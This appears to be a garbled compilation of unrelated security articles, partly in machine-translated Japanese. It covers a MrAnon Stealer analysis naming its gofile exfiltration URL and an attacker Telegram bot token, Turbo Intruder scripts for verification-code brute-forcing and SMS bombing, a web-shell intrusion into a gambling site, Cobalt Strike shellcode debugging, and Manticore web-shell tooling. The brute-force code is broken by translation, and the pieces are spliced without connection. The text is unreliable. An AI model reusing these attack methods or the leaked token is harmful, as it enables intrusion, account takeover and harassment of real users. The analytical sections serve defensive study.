下載網址主要在德國被查詢,這表明它是攻擊的主要目標。這個URL的查詢數量在2023年11月顯著上升,該活動在該月異常活躍和激進。在本文中,我們將詳細介紹該惡意軟件在每個階段的行為。

2.png

初始感染載體:Booking.pdf

攻擊者偽裝成一家希望預訂酒店房間的公司,發送主題為“12月房間可用性查詢”的網絡釣魚電子郵件。該網站包含假日期間虛假的酒店預訂信息,附加的惡意PDF文件有一個下載鏈接隱藏在對像中。其解碼後的數據如下:

3.png

網絡釣魚郵件

4.png

惡意PDF文件

.NET可執行文件:adobe.exe通過“Loader”類中的字符串,可以發現惡意軟件使用了PowerShell腳本編輯器,該編輯器將PowerShell腳本轉換為微軟可執行文件。

5.png

反編譯的Exec()函數

在檢查下圖所示的.NET可執行文件後,我們發現它利用ScriptRunner.dll提取“Scripts.zip”以獲得一個PowerShell腳本。解壓後的文件存放在以下位置:

“%USERPROFILE%\AppData\Local\Temp\QuestSoftware\PowerGUI”

這個.NETMicrosoft Windows可執行文件的唯一任務是解壓縮名為“down2”的嵌入式腳本,並使用PowerShell.exe執行它。打包的文件和PowerShell配置位於文件的資源部分,如下圖所示。

6.png

加載PowerShell腳本的ScriptRunner.dll

7.png

惡意軟件的資源部分

PowerShell腳本:down2.ps1該腳本啟動Windows窗體的加載並配置其設置,包括窗體、標籤和進度條。此外,它在後續腳本的執行中定義了文本,以消除用戶的疑慮。

8.png

Create Windows表單

在'Form Load event'部分中,腳本從相同的域“anonbin[.]ir”中檢索有效負載,並解壓縮臨時文件夾中的文件。然後,它在zip歸檔中定位執行文件,並使用“Start-Process”執行。在這種狀態下,會顯示一個名為“File Not Supported”的窗口,並伴有一條指示“Not Run: python.exe.”的狀態消息。這種欺騙性的演示旨在誤導用戶,使其相信惡意軟件尚未成功執行。下圖顯示了惡意軟件執行過程中的窗口和進度條。

9.png

Form Load事件部分

10.png

執行python.exe期間顯示的進度窗口

Cx_Freeze打包文件:python.exe壓縮文件“Ads-Pro-V6-Free-Trail (1).zip”包含多個文件。下圖顯示了解壓文件夾的內容。在此文件夾中,兩個DLL文件作為乾淨的組件,以方便“Python .exe”進程加載額外的Python代碼。下圖展示了“Python .exe”中的WinMain函數,清楚地表明這不是一個合法的Python可執行文件。

11.png

Ads-Pro-V6-Free-Trail (1).zip中的文件

12.png

python.exe中的WinMain

跟踪初始調用可以發現執行文件源自cx_Freeze工具。然後,腳本搜索目錄“\lib\library.zip”,並使用“PyObject_CallObject”調用惡意Python代碼。

13.png

檢查目錄\\lib\\library.zip

14.png

調用Python主代碼

下圖顯示了“library.zip”中的文件。值得注意的是,與合法文件相比,“cstgversion_main__.pyc”由於其獨特的創建時間而脫穎而出。此特定文件包含負責數據盜竊的主要函數。

15.png

library.zip中的文件

MrAnon Stealer首先,惡意軟件會驗證系統上是否存在以下進程,如果存在則會終止它們:

“ArmoryQt.exe”,“AtomicWallet.exe”,“brave.exe”,“bytecoin-gui.exe”,“chrome.exe”,“Coinomi.exe”,“Discord.exe”,“DiscordCanary.exe”,“Element.exe”,“Exodus.exe”,“firefox.exe”,“Guarda.exe”,“KeePassXC.exe”,“NordVPN.exe”,“OpenVPNCo nnect.exe”,“seamonkey.exe”,“Signal.exe”,“Telegram.exe”,“filezilla.exe”,“filezilla-server-gui.exe”,“keepassxc-proxy.exe”,“msedge.exe”,“nordvpn-service.exe”,“opera.exe”,“steam.exe”,“walletd.exe”,“waterfox.exe”,“yandex.exe”

然後使用“ImageGrab”抓取截圖,保存文件名為“Screenshot (Username ).png.”,此外,它還與“api.ipify.org”和“geolocation-db.com/jsonp”等合法網站建立連接,以檢索系統的IP地址、國家名稱和國家代碼。它還從下列來源收集資料:

瀏覽器數據:7Star、Amigoz、Bravez、Cent Browser、Chrome Canary、Epic Privacy Browser、Google Chrome、Iridium、Kometa、Microsoft Edge、Opera、Opera GX、Orbitum、Sputnik、Torch、Uran、Vivaldi、Yandex、Firefox、Pale Moon、SeaMonkey和Waterfox。

桌面錢包:Bytecoin Wallet, Guarda, Atomic Wallet, Coinomi Wallet, Bitcoin Armory和Exodus.

瀏覽器擴展:

17.jpg

即時通信:Discord, Discord Canary, Element, Signal, Telegram Desktop。

VPN客戶端:NordVPN、ProtonVPN和OpenVPN Connect。

Browser Wallet:

18.1.jpg

18.2.jpg

18.3.jpg

18.4.jpg

18.5.jpg

其他:FileZilla和FileZilla Server。

遊戲:Steam。

文件:它掃描這些目錄:Desktop, Documents, Downloads, Pictures, and grabs specific files with following extensions: “.7z,” “.bmp,” “.conf,” “.csv,” “.dat,” “.db,” “.doc,” “.jpeg,” “.jpg,” “.kdbx,” “.key,” “.odt,” “.ovpn,” “.pdf,” “.png,” “.rar,” “.rdp,” “.rtf,” “.sql,” “.tar,” “.txt,” “.wallet,” “.xls,” “.xlsx,” “.xml,” and “.zip.”

接下來,它壓縮被盜數據,用密碼保護數據,並將文件名指定為“Log(Username).zip”。壓縮後的文件將使用URL上傳到公共文件共享網站hxxps://store1[.]gofile[.]io/uploadFile。最後,它將下載鏈接和系統信息附加到一條消息中,該消息使用bot令牌6799784870:AAHEU6EUdnAjRcH8Qq0TCokNtVJSL06VmbU發送到攻擊者的Telegram頻道。

18.png

Telegram消息中的被盜數據

19.png

zip文件

MrAnon Stealer的支持通道如下圖所示。該支持渠道推廣其產品,提供增強的功能,並在“hxxp[:]//anoncrypter[.]com”上為所有相關工具提供購買頁面

20.png

MrAnon Stealer的telegram頻道

21.png

MrAnon Tools的網站

攻擊者在今年早些時候建立了網站“anonbin[.]ir”,如下圖所示,並下載了所有相關文件。經過調查,我們發現了7月份使用cx_Freeze的類似打包文件。這些文件始終以基於Python的竊取程序為特徵,由代碼中共享的“HYDRA”標識標識,如下圖所示。

該活動最初在7月和8月傳播Cstealer,但在10月和11月過渡到傳播MrAnon Stealer。這種模式表明了一種戰略方法,即繼續使用釣魚電子郵件來傳播各種基於Python的竊取程序。

22.png

hxxps[:]//anonbin[.]ir的主頁

23.png

七月份惡意軟件的標識

總結該惡意軟件使用PowerGUI和cx-Freeze工具創建一個複雜的過程,涉及.NET可執行文件和PowerShell腳本。攻擊者還使用虛假錯誤消息等技巧來隱藏攻擊活動,從特定域下載並提取文件,以運行有害的Python腳本。該腳本提取乾淨的DLL文件和名為“python.exe”的惡意軟件,用來掩蓋惡意有效負載MrAnon Stealer的加載。它從幾個應用程序中竊取數據和敏感信息,然後將竊取的數據壓縮並上傳到公共文件共享網站和攻擊者的Telegram頻道,用戶應小心網絡釣魚郵件和不清晰的PDF文件。

1。プラグインの紹介

Turbointruderは、多数のHTTPリクエストを送信し、結果を分析し、10億のリクエスト攻撃を採用するげっぷスイート拡張プラグインです。これは、Burpintruderを例外速度、期間、または複雑さを必要とする攻撃で補足するように設計されています。

2。プラグインの原理

最初の要求を使用して接続を確立します。その後のリソースの獲得は、この接続を通じてリソースの長い接続を取得することです。また、HTTPパイプライン(HTTPパイプライン)を使用してリクエストを送信します。このメソッドは、前のリクエストの応答を待っている間に次のリクエストを送信します。送信プロセス中、サーバーが前のリクエストに応答するのを待つ必要はありません。ただし、クライアントは、リクエストが送信される順序で応答を受信する必要があります。 HTTPパイプラインを介してリクエストを開始することは、短い接続の速度の6000%です(Connection: close)

3。インストール方法

インストールターボインクループラグインBURPスイート1049983-20240322091638266-1772887275.png

iv。使用方法

パケットを選択して右クリックしてターボ侵入者に送信を選択します(パケットはここでrawいなければなりません。クロールがない場合は、チューブ侵入者への送信メニューは表示されません)

1049983-20240322091639122-1416561383.png

この時点で、新しいウィンドウが開きます。ウィンドウの上部は元のHTTPリクエストパッケージ、下部は操作コード、中央部はシーンに応じてドロップダウンボックスから特定の操作コードを選択できます。開くたびに、デフォルトは最後のコードで使用されています。これは前回使用されるコードです。

1049983-20240322091639931-438133108.png

コード領域は、ファズする必要がある部品の代わりに「%s」文字を使用する必要があります。対応する操作コードを選択し、下部の攻撃をクリックして攻撃を開始します。特定の使用法の詳細については、それらを3番目のパートの使用シナリオと組み合わせることができます。

5。使用シナリオ

1。検証コードブラスト

主に携帯電話の検証、電子メール検証コードログイン、パスワード回復機能に表示されます。検証コードの爆発では、ユーザーがユーザーを引き継ぐ機能を達成するためにユーザー名の列挙が必要です。

検証コードブラスト操作コード:

Itertools Import製品から

def brute_veify_code(ターゲット、エンジン、長さ):

pattern='1234567890'#辞書の生成に使用される#iterativeオブジェクト

リスト(製品(パターン、繰り返し=長さ)): #Product()のIの場合、複数の反復オブジェクトを受信し、デカルト製品を生成します。繰り返しパラメーターは、反復オブジェクトの数を表します。

code='' .join(i)

Engine.Queue(ターゲット.req、コード)

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、#ターゲットのアドレスを指定します

concurrentConnections=30、#makeサーバーとの30接続

RequestSperConnection=100、#send 100の接続ごとに同時に100リクエスト

Pipeline=True #Enable Pipeline(HTTP Pipelining)モード

))

brute_veify_code(ターゲット、エンジン、6)#modify検証コード数字の数に従ってモディー

DEF Handleresponse(REQ、興味深い):

req.response: #operate応答に「エラー」がない場合、テーブルに「エラー」を追加します

Table.Add(req)

デモ:

Baidu WDパラメーターが数値6ビット検証コードであると仮定します。パラメーター値を「%s」に置き換え、上記のコードを操作コード領域にコピーします

1049983-20240322091640898-513156876.jpg攻撃をクリックして攻撃を開始すると、「%s」が生成された辞書コンテンツに置き換えられていることがわかります。 29431リクエストは31秒で正常にリクエストされ、949のRPSで

1049983-20240322091641780-1235609231.jpg

2。同時テスト

同時脆弱性はビジネスロジックの脆弱性であり、チェックイン、宝くじ、クーポンコレクション、その他の機能ポイントなどの回数を制限する機能ポイントに存在します。並行性テクノロジーを使用してテストして、サーバーが複数回正常に応答できるかどうかを確認します。

同時テストの操作コード:

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、

concurrentConnections=30、

RequestSperConnection=100、

パイプライン=false

))

範囲のIの場合(30): #Create 30リクエスト。

Engine.queue(ターゲット.req、ターゲット、baseinput、gate='race1')

#wait各「race1」タグ付けされた要求が準備ができてから、各リクエストの最後のバイトを送信するまで

Engine.opengate( 'race1')#identify同じ同時テストに属する要求

Engine.comPlete(タイムアウト=60)

DEF Handleresponse(REQ、興味深い):

Table.Add(req)

デモ:このコードは、プラグイン /examples/race.pyでオプションです

1049983-20240322091642585-458205074.jpg同時テストでは、元のリクエストパッケージの処理は必要ないため、次の問題に遭遇する可能性があります。1049983-20240322091643315-442669725.jpgツール実行プロセスのため、元のリクエストパッケージに「%s」フィールドが必要なため、リクエストパッケージのどこにでも「%s」を追加する必要があります。1049983-20240322091644226-1882842261.jpg 1049983-20240322091644975-1755280813.jpg

3.SMS爆撃

検証コードを取得するためにウェブサイトでユーザー登録ページを見つけました。 x:%sをリクエストヘッダーに追加することを忘れないでください(ターボの%sはburp侵入者の§s§に似ています。反復変数はありませんが、ターボの起動時に%sはチェックされます)このコードはプラグイン /examples/race.py

1049983-20240322091642585-458205074.jpg 1049983-20240322091647807-1201234456.jpg同時にデータパケットを送信すると、送信結果の長さの大部分は328。328であることがわかります。1049983-20240322091648484-1597882403.jpg

0x01準備ツールこの浸透は、主にAndroidアプリを対象としています。ほうれん草アプリのバックエンドサーバーは海外であり、プラットフォームには多くの違法なギャンブル関連のミニギャンブルゲームが含まれています。

图片

1. Thunderbolt Androidエミュレーター。ギャンブルWebサイトのインストールプログラムを実行するために使用されます。

2。パケットキャプチャツールフィドラー(またはバープスーツ、ワイレシャーク)を使用して、トラフィックパケットをキャッチしてウェブサイトのバックエンドサーバーアドレスを見つけます。

3。Sublist3r、中国のアリの剣、その他の従来の浸透ツール。

0x02情報収集1。サーバーアドレスを見つけます。ネットワークほうれん草アプリのサーバーアドレスのトラフィックパケットキャプチャ分析。 Fiddlerを使用してAndroidエミュレータートラフィックをつかみ、分析を通じてアプリバックエンドWebサイトアドレスを取得します:http://****。com。また、BPまたはWiresharkツールを使用してパッケージをキャッチすることもできます。また、多くのオンラインチュートリアルがあります。

图片

ドメイン名「****。com」はパケットキャプチャにあり、ターゲットサーバーIPアドレスが見つかりました:x.x.x.x.x.

图片

2。サブドメイン名を取得します。

sublist3r.pyを使用してドメイン名を収集します。

python sublist3r.py -d xxx.com -o 1.txtいくつかのサブドメインが見つかりましたが、テストではブレークスルーは見つかりませんでした

0x03浸透プロセス1。HTML5ページを登録してログインして検出します。アプリページに登録してログインし、アドレスをクロールし、クロールをアドレスに持ち込み、ブラウザにログインします。アプリページは純粋なHTML5ページであることがわかりました。これにより、ブラウザで動作する方が便利です。

图片

2。フロントデスクアカウントの注入は失敗しました。テスト番号を使用して登録し、パッケージをつかんでパッケージを変更します。注入点を見つけますが、注入は失敗しました。

图片

3.登録されたユーザーにログインして、アップロードの脆弱性を見つけます。ユーザーブラウジング機能には、個人センターにIDレビュー機能があります。ユーザー情報を確認するには、ID情報をアップロードする必要があります。このアップロード関数は、トロイの木馬のアップロードポイントを隠すことができると推測されます。

图片

4.ファズテストをアップロードした後、バックエンドプログラムはMIMEおよびファイルヘッダーのコンテンツのみを検証します。ファイルタイプのバイパスメソッドを変更し、Picture Horseを直接アップロードしてMIMEタイプを変更し、それを正常にアップロードしてシェルアドレスを取得します。

图片

5.「中国のアリの剣」を使用して、トロイの木馬に正常に接続し、サーバーWebサイトのソースコードでデータベース構成ファイルを分析して見つけ、データベースに正常に接続することです。

图片

6.チャイニーズアリの剣を使用してデータベースに正常に接続し、アカウントとパスワードのハッシュ値を取得します。

图片

7.ファイルディレクトリ構造分析を介して、背景は単一のエントリファイルであり、パラメーターs=管理者は背景に正常にジャンプし、データベースを介してバックエンドアカウントのハッシュ値を復号化し、バックグラウンドに正常にログインします。

图片

管理者のバックエンド許可を取得することにより、同じ日にウェブサイト上の登録ユーザーの数を把握でき、ギャンブルのオッズの数は86でしたが、資本の流れは542,000元でした。管理者ログインログの観点から、メインのログインIPはフィリピン、香港、広州、ベトナムおよびその他の場所で配布されています。

图片

ユーザーログインログレコードとデータには、ユーザーのID、ログインIP、携帯電話番号、ログイン時間、その他の情報が含まれます。

图片

ユーザーベットの記録、データにはメンバーID、賭け金額、累積レベルギフトなどが含まれます。

图片

0x04ホール掘削方法の概要1。注入を見つけて、データベースユーザーの権限とサイトライブラリが同じサーバーであるかどうかに注意してください。

2。さらなる攻撃のためにバックグラウンドを入力する目的でXSSを見つけます。

3.アップロード、アプリケーションリンク、メンバーアバター、いくつかの機密ページなど、アップロードできるページを見つけて、検証方法をバイパスできるかどうかを確認し、サーバーの解析特性と組み合わせることができるかどうかを確認します。

4.ダウンロードを見つけて、記事の最後にあるWebサイトのダウンロード列または添付ファイルリンクにダウンロードする不正ファイルがあるかどうかをテストします。

5.編集者、典型的なeweditors、fckeditorsなどを見つけます。

6.可能なバックグラウンド管理プログラムを見つけて、パスワードが弱いことを試してみてください

元のリンクから転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485589Idx=1SN=F4F644EA923675C425F1DE9E4E287FB07CHKK SM=CE67A20CF9102B1A1A171041745BD7C243156EAEE575B44444444444D325E2CD2D9F72B2779CF01SCENE=21#WECHAT_REDIRECT

探索Cobalt Strike shellcode是由編譯後的可執行.exe文件加載情況,這將需要使用調試器(x64dbg)和靜態分析(Ghidra)來執行完整的分析。

可執行文件是編譯後的exe,包含隱藏和混淆的Shellcode,使用一個簡單的異或例程和一個4字節的項對shellcode進行解碼,然後將其寫入一個用VirtualAlloc創建的簡單緩衝區。

本文將探索使用調試器獲得解碼的shellcode的方法,然後尋找使用Ghidra手動定位shellcode和相關解密密鑰的方法,還將研究在X64dbg和Ghidra之間切換的方法,以及使用ChatGPT識別和分析Ghidra輸出的方法。

獲取樣本點此下載樣本(pw:infected)。

SHA256:99986d438ec146bbb8b5faa63ce47264750a8fdf508a4d4250a8e1e3d58377fd

分析我們可以先把文件保存到一台分析機上然後用感染的密碼解壓縮。從這裡我們還可以創建一個文件名較短的副本。

1.png

由於該文件是已編譯的可執行文件,我們可以嘗試使用調試器對其進行分析。在本文中為x64dbg。

我們可以繼續使用x64dbg打開文件,一直點擊直到到達入口點。

2.png

現在,我們可以繼續在API上創建一些斷點,這些斷點通常(但並不總是)在惡意軟件解包時使用。

我們可以通過運行bp VirtualAlloc和bp VirtualProtect來創建2個斷點。

3.png

創建斷點後,我們可以繼續並允許惡意軟件繼續(F9)。惡意軟件將繼續運行並觸發VirtualAlloc上的斷點。

我們的主要目的是獲取由VirtualAlloc創建的緩衝區,我們可以通過使用Execute Until Return來實現這一點。 “Execute Until Return”將允許VirtualAlloc函數完成,但不允許發生任何進一步的操作。這意味著我們可以很容易地獲得創建的緩衝區的地址。

查看VirtualAlloc創建的內存4.png

在點擊execute之後,返回。我們可以在RAX內部觀察到新創建的緩衝區地址。

我們想繼續監控這個緩衝區的可疑內容和解壓縮的惡意軟件時,可以通過右鍵點擊RAX中包含的地址來開始監控過程。

5.png

現在我們可以選擇Follow in Dump,這將打開左下角窗口中緩衝區的內容。

6.png

通過點擊“Follow In Dump”,我們可以在左下角的窗口中觀察到轉儲的內容。

我們可以在這裡註意到緩衝區是空的,只包含00。

7.png

用硬件斷點監控內存VirtualAlloc已經創建了一個空緩衝區,現在,我們可以通過創建一個硬件斷點來監控這個緩衝區的變化。

硬件斷點可以通過選擇內存轉儲中的第一個字節以及Right Click - Breakpoint - Hardware, Access - Byte來創建。

8.png

這樣我們可以允許惡意軟件繼續執行。可以看到硬件斷點被觸發,在緩衝區的第一部分中包含一個FC字節。前兩篇文章中已經講過FC是shellcode中非常常見的第一個字節。

9.png

此時,我們希望惡意軟件繼續填充緩衝區。

我們可以繼續使用另一個Execute Until Return。這樣緩衝區就會被填滿,我們就可以監控裡面的內容了。

下面我們可以看到填充後的緩衝區。可以看到第一個字節是0xFC,並且在初始字節中有一個wininet字符串,這可能表示shellcode。

10.png

使用反彙編器驗證Shellcode現在我們有了一個合理的假設,即緩衝區包含shellcode,我們可以繼續嘗試使用X64dbg對其進行反彙編。如果我們反彙編代碼並且沒有明顯的錯誤,那麼很有可能正在查看shellcode。

我們可以通過在反彙編器中選擇第一個FC字節和Follow in Disassembler來實現這一點。

11.png

X64dbg現在將嘗試從緩衝區中反彙編字節。

下面,我們可以在頂部的反彙編窗口中觀察到被反彙編的緩衝區。可以發現,似乎沒有明顯的錯誤,並且有有效的函數調用,循環和總體“正常”的指令。

18.png

使用SpeakEasy仿真器進行最終驗證

由於非常懷疑緩衝區包含shellcode,所以我們可以繼續使用Speakeasy來模擬它。

我們也可以用X64dbg實現同樣的事情,但是對於shellcode來說,這是一個更複雜的過程。也可以用X64dbg實現同樣的事情,但是對於shellcode,這也是一個複雜的過程。

要使用speakeasy模擬shellcode,我們首先需要保存它。

我們可以選擇我們的第一個FC字節,右鍵單擊然後Follow in Memory Map。

19.png

現在我們可以將內存緩衝區保存到一個文件中,將文件保存為memdump.bin。

20.png

用Speakeasy模擬未打包的Shellcode

現在將shellcode緩衝區保存到文件memdump.bin中。我們可以繼續使用Speakeasy來模擬shellcode。

我們可以使用speakeasy -t memdump.bin -r -a x64命令來做到這一點:

speakeasy -運行speakeasy工具;

-t -我們要使用哪個文件;

-r - (Raw) -表示我們正在使用shellcode;

-a x64 -表示我們的文件包含64位指令。我們知道這是因為我們使用的是x64dbg而不是x32dbg。

運行此命令後,將成功地模擬shellcode,並向我們提供有關其功能的大量信息。

21.png

Speakeasy輸出顯示了一個C2地址

可以看到對User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2;NET CLR 2.0.50727)\r\n的用戶代理的引用。

如果有可用的代理日誌,這個用戶代理將是查找代理日誌的好地方。

22.png

在Ghidra中查找Shellcode解密函數

在第一次觸發硬件斷點時,主要可執行文件可能位於解密函數的中間。我們可以使用這些信息在Ghidra中查找相同的解密函數。

在Ghidra中查找Shellcode解密函數;

用ChatGPT識別解密例程邏輯;

使用Ghidra識別解密密鑰;

利用熵定位加密shell;

使用Cyberchef執行手動解碼;

使用解密字節查找其他樣本;

使用解密代碼創建Yara Rule 。

MANTICORE的攻擊範圍正在逐步擴大(上)

Web shellManticore部署了多個Web shell,包括之前被間接歸因於OilRig的Web shell,其中一些web shell因其混淆、命名約定和工件而更受關注。與Manticore在過去幾年的攻擊中使用的許多其他web Shell和基於.NET的工具相比,web Shell保留了類和方法模糊以及類似的字符串加密算法,該加密算法與一個字節異或,密鑰從第一個字節或前2個字節派生。

其中一個shell是對開源XML/XSL轉換web shell (XSL Exec shell)進行了嚴重混淆和略微修改的版本。這個web shell還包含兩個混淆的函數,它們返回字符串“~/1.aspx”。這些函數從未被調用過,很可能是其他版本的殘餘,正如我們在Manticore之前使用的工具(如FOXSHELL)中觀察到的那樣:

14.png

FOXSHELL web shell版本中未使用的字符串

攻擊目標根據對最新利用LIONTAIL的分析發現,受害者遍布中東地區。大多數受影響的實體屬於政府、電信、軍事和金融部門,以及IT服務提供商。

至少從2019年開始,Manticore就開始在中東地區活躍。它最初是基於開源的web部署代理,隨著時間的推移演變成一個多樣化和強大的工具集,既利用了自定義編寫的組件,也利用了開源組件。

16.png

Manticore使用的多個惡意軟件版本的代碼和功能演變概述

基於Tunna的Web shell最早的一個與攻擊者活動相關的樣本是基於Tunna的web shell, Tunna是一個開源工具,旨在通過HTTPTunna傳輸任何TCP通信。 Tunna web shell允許從外部連接到遠程主機上的任何服務,包括那些在防火牆上被阻止的服務,因為所有與web shell的外部通信都是通過HTTP完成的。在配置階段,將遠程主機的IP和端口發送給web shell,在很多情況下,主要使用Tunna來代理RDP連接。

該攻擊者使用的web shell的內部版本為Tunna v1.1g (Github上只有1.1a版本)。與開源版本相比,最重要的變化是通過使用預定義的字符串szEncryptionKey對數據進行異或處理並在末尾附加常量字符串K_SUFFIX來加密請求和響應:

17.png

攻擊者使用的“Tunna 1.1g”代理中的加密功能

18.png

Tunna代理對數據的解密和加密

FOXSHELL:XORO版本之後,代碼被重構,失去了與Tunna的相似之處。我們將此版本和所有後續版本都稱為FOXSHELL。下面的類結構在大多數FOXSHELL版本中仍然存在:

19.png

FOXSHELL中的類

所有負責加密流量的功能都轉移到一個單獨的EncryptionModule類中。此類加載一個.NET DLL,該DLL嵌入FOXSHELL主體內的base64編碼字符串中,並調用其加密和解密方法:

20.png

web shell中base64編碼的EncryptionDll

21.png

EncryptionModule類負責加密和解密方法調用

嵌入式加密模塊的名稱是XORO.dll,它的類是Encryption.XORO實現解密和加密方法的方式與基於Tunna的web shell相同,使用相同的硬編碼值:

22.png

XORO.dll中的加密常量和解密函數

所有對web shell的請求也封裝在一個名為Package的類中,該類處理不同的PackageTypes:Data、Config、OK、Dispose或Error。 PackageType是由包的第一個字節定義的,根據包的類型,web shell解析包並應用配置(在配置中指定的遠程計算機上打開一個新的套接字,如果提供的話,應用一個新的EncryptionDll),或者處理現有的套接字,或者如果包是Data類型代理連接:

23.png

FOXSHELL中的包處理

FOXSHELL:Bsae64(非拼寫錯誤)版本這個版本的web shell仍然沒有混淆,它的內部版本在代碼中指定:

24.png

web shell還包含嵌入的默認EncryptionDll。模塊的名稱是Base64.dll,加密類(拼寫錯誤為Bsae64)公開了加密和解密方法。然而,兩者都只是簡單的base64編碼:

24+.png

Base64.dll中的加密和解密方法

雖然這種簡單的編碼可以在web shell本身的代碼中完成,但其他嵌入式dll的存在,如XORO.dll,以及在配置階段提供另一個EncryptionDll的能力,意味著攻擊者更喜歡控制他們在某些環境中默認使用的特定類型的加密。

這個版本中的其他變化是將PackageType配置重命名為RDPconfig,將ConfigPackage重命名為RDPConfigPackage,表明攻擊者專注於代理RDP連接。這些類的代碼保持不變:

25.png

RDP Configuration類

最後,代碼中的另一個條件處理web shell接收非空參數WV-RESET的情況,該參數調用函數關閉代理套接字並向攻擊者發送OK響應:

26.png

“Close proxy” WV-RESET參數

編譯的FOXSHELL除了針對中東之外,這個版本也於2021年5月針對阿爾巴尼亞發起攻擊。通過利用一個面向internet的Microsoft SharePoint服務器,攻擊者部署了ClientBin。在受攻擊服務器上的Aspx來代理外部連接,從而進行橫向攻擊。

在發現的所有樣本中,FOXHELL都被編譯為DLL並嵌入到base64的基本web shell中。編譯後的DLL將加載System.Reflection.Assembly.Load,則調用來自它的ProcessRequest方法。 DLL是用.NET編寫的,其名稱模式為App_Web_

27.png

加載App_Web_*.dll的web shell

App_Web* DLL受到類和方法混淆的影響,所有字符串都使用Base64,第一個字節的異或和AES的組合加密如下:

28.png

inchpublic函數,負責字符串加密,展示了方法和類的混淆

當web shell被編譯成DLL時,它包含初始化存根,這確保web shell偵聽正確的URI。在這種情況下,初始化發生在以下代碼段:

29.png

web shell App_Web_*.dll中的初始化存根

否則,去混淆後:

30.png

這個初始化將FOXSHELL設置為偵聽相對路徑~/1上的請求。研究發現,在涉及LIONTAIL的攻擊的其他web shell中,它是一個未使用的工件。

在內部,DLL具有與以前版本相同的“1.5”版本的FOXSHELL,其中包括用於停止代理的WV-RESET參數和相同的默認Bsae64加密DLL。

基於IIS ServerManager和HTTPListener的獨立後門自2020年年中以來,除了FOXSHELL作為代理流量的手段外,我們還觀察到了一個相當複雜的獨立被動後門,它是用.NET編寫的,旨在部署在IIS服務器上。它被類似於FOXSHELL的技術混淆,並偽裝成System.Drawing.Design.dll。

CC通信SSD後門通過受感染計算機上的HTTP偵聽器設置CC通信。它是通過兩個類實現的:

ServerManager——.NET中System.Web.Administration命名空間的一部分,用於管理和配置Windows服務器上的Internet信息服務(IIS),例如獲取配置、創建、修改或刪除IIS站點、應用程序和應用程序池。

HTTPListener——.NET框架中的一個類,用於創建自定義HTTP服務器,獨立於IIS並基於HTTP API。

ServerManager用於提取IIS服務器託管的網站,並構建要偵聽的URL前綴的HashSet:

31.png

構建URL前綴HashSet的angleoppose_river函數的混亂代碼基於IIS服務器上配置的網站和綁定

本文的惡意軟件示例中配置的唯一相對URI是Temporary_Listen_Addresses。然後惡意軟件使用HttpListener類開始偵聽指定的URL前綴:

32.png

HttpListener啟動代碼

CC命令執行後門程序有幾個功能:使用cmd.exe執行命令,上傳和下載文件,使用指定參數執行進程以及運行其他.NET程序集。

33.png

SDD後門的請求handler

首先,如果POST請求主體包含數據,惡意軟件會對其進行解析,並將消息作為其支持的4個命令之一進行處理。否則,如果請求包含參數Vet,惡意軟件只需從base64中解碼其值,並用cmd/c執行。如果這些都不是真的,那麼惡意軟件會處理心跳機制,如果請求URL包含小寫的字符串wOxhuoSBgpGcnLQZxipa,則惡意軟件會發回UsEPTIkCRUwarKZfRnyjcG13DFA以及200 OK響應。

POST請求中的數據使用Base64和簡單的基於異或處理的加密進行加密:

34.png

命令解密算法

在解密消息的數據後,惡意軟件會按照以下順序對其進行解析:

35.png

處理可能的SDD後門命令類型的開關

由攻擊者命名的命令,包括:

' Command ' -使用指定參數執行進程。在該樣本中,將解析數據以提取進程名稱及其參數;

“Upload”—將文件上傳到受攻擊系統的指定路徑;

“Download”-將指定的文件發送給攻擊者;

“Rundll”-加載程序集並使用指定參數運行它。

響應數據的構建方式與請求相同(返回命令類型、命令名稱和輸出),然後使用與請求相同的基於XOR的算法進行加密。

WINTAPIX驅動程序最近,Fortinet披露了一系列針對中東目標的攻擊,這些攻擊涉及內核模式驅動程序,研究人員將其命名為WINTAPIX。儘管安裝驅動程序的確切感染鏈尚不清楚,但它們僅針對IIS服務器,因為它們使用IIS ServerManager對象。高級執行流程如下:

1.WINTAPIX驅動程序在內核中加載;

2.WINTAPIX驅動程序枚舉用戶模式進程,以查找具有本地系統權限的合適進程;

3.WINTAPIX驅動程序將嵌入的shellcode注入到先前找到的進程中,shellcode是使用開源的Donut項目生成的,這允許創建能夠從內存加載和執行.NET程序集的與位置無關的shellcode。

4.注入的shellcode加載並執行加密的.NET負載。

最後的有效負載除了已經熟悉的類、方法和字符串混淆之外,還使用商業混淆器進行混淆,並且它結合了SDD後門和FOXSHELL代理的功能。為了實現這兩個目標,它偵聽兩組URL前綴,使用ServerManager和HTTPListener,類似於SSD後門。

驅動程序負載中使用的FOXSHELL版本設置為1.7。在這個版本中引入的主要增強是使用掛起EventLog Service線程的已知技術來繞過事件日誌。在驅動程序中硬編碼的默認EncryptionDll是相同的Bsae64.dll,與FOXSHELL 1.5版本相比,核心代理結構還與原來一樣。

36.png

.NET負載中硬編碼的版本

37.png

FOXSHELL 1.7類結構

由於已經提供了對WINTAPIX驅動程序及其版本SRVNET2的廣泛分析,我們只強調它們與其他討論的工具之間的主要重疊部分,它們之間的聯繫如下:

1.與SDD後門相同的代碼庫,包括基於相同字符串值wOxhuoSBgpGcnLQZxipa和UsEPTIkCRUwarKZfRnyjcG13DFA的心跳;

2.支持相同的後門命令類型,使用相同的密鑰進行加密;

3.與FOXSHELL相同的代碼庫、結構和功能;

4.使用相同的混淆和加密方法。

LIONTAIL框架組件與FOXSHELL、SDD後門和WINTAPIX驅動程序共享類似的混淆和字符串工件。目前,我們不知道有任何其他攻擊者利用這些工具,我們根據多個代碼重疊和共享的受害者特徵將它們全部歸因於Manticore。

總結在過去的幾年裡,Manticore被觀察到在中東地區進行了頻繁活動,包括獲得該地區電信和政府組織的訪問權限,並維持和利用這種訪問權限幾個月來系統地從受害者的系統中竊取數據。分析他們的活動歷史可以發現,攻擊者一直在改進攻擊方法。

